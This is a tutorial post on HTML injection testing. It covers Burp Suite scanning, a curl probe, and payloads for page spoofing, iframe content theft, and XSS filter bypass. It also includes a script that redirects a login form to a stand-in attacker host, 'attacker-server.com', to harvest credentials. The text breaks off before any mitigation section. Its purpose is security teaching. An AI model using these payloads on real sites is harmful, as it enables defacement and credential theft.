Listen to this Post

Introduction:
HTML Injection is a critical client-side vulnerability where an attacker injects malicious HTML code into a vulnerable web application, often leading to content spoofing, defacement, or theft of sensitive data. This attack exploits a lack of proper input sanitization and can be a precursor to more severe exploits like Cross-Site Scripting (XSS). Understanding its mechanics is fundamental for both offensive security testing and defensive hardening.
Learning Objectives:
- Understand the core principles and security impact of HTML Injection vulnerabilities.
- Learn to identify potential HTML Injection vectors in web applications through manual testing and tool-assisted reconnaissance.
- Master the practical execution of various HTML injection techniques and implement effective mitigation strategies.
You Should Know:
1. Reconnaissance with Burp Suite
Before any injection attempt, thorough reconnaissance is key. Burp Suite is the industry standard for web application testing.
Steps to spider and scan a target: 1. Configure your browser to use Burp as a proxy (usually 127.0.0.1:8080). 2. Navigate to your target domain with Proxy 'Intercept is on'. 3. Right-click the target site in 'Target' > 'Site map' and select 'Spider this host'. 4. After spidering, right-click again and select 'Active Scan' to automatically test for common vulnerabilities, including injection points.
This process maps the application’s structure and automatically probes for obvious vulnerabilities, providing a baseline for further manual testing.
2. Identifying Injection Points with cURL
Test all user-inputable parameters. The `curl` command is invaluable for quickly testing POST and GET parameters from the command line.
curl -X POST "https://vulnerable-site.com/search" -d "query= <h1>test</h1> " -H "Content-Type: application/x-www-form-urlencoded" -v
This command sends a POST request with a simple HTML payload in the `query` parameter. Use the `-v` (verbose) flag to see the full HTTP response. If the response contains your unsanitized `
test
` payload, the endpoint is likely vulnerable.
3. Basic Content Spoofing Injection
The simplest form of HTML injection involves injecting visible content to spoof the website.
Payload: <div style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: white; color: black; font-size: 24px;"><h1>Security Test</h1>This site is under maintenance.</p></div> <p>
Inject this payload into a vulnerable parameter. If successful, it renders a full-page overlay, demonstrating how an attacker could deface a site or display fraudulent information to users.
4. Stealing Page Content with IFrame Injection
While modern browsers have strict iframe sandboxing, this technique can sometimes be used to capture content from the same origin.
Payload: <iframe src="https://vulnerable-site.com/sensitive-page" onload="this.style.height=this.contentWindow.document.body.scrollHeight + 'px';" width="100%"></iframe>
This iframe attempts to load a sensitive page from the same site into the context of the vulnerable page, potentially making its content accessible. This is a classic content theft technique.
5. Form Action Hijacking for Credential Harvesting
One of the most dangerous impacts is hijacking existing forms to steal user credentials.
Payload: <script>document.getElementById('loginForm').action='https://attacker-server.com/collect.php';</script>
Alternatively, if injection occurs before a form, inject a complete fake form. This payload targets a form with the ID `loginForm` and changes where its data is submitted. This demonstrates a direct path to credential theft.
6. Bypassing Basic Blacklist Filters
Applications often employ weak blacklists that filter common tags like <script>. Bypasses are often trivial.
Payload: <ScRiPt>alert(1)</ScRiPt> //Case manipulation Payload: <img src=x onerror=alert(1)> //Event handler Payload: <script<script>>alert(1)</script> //Double writing
Test these payloads if a standard `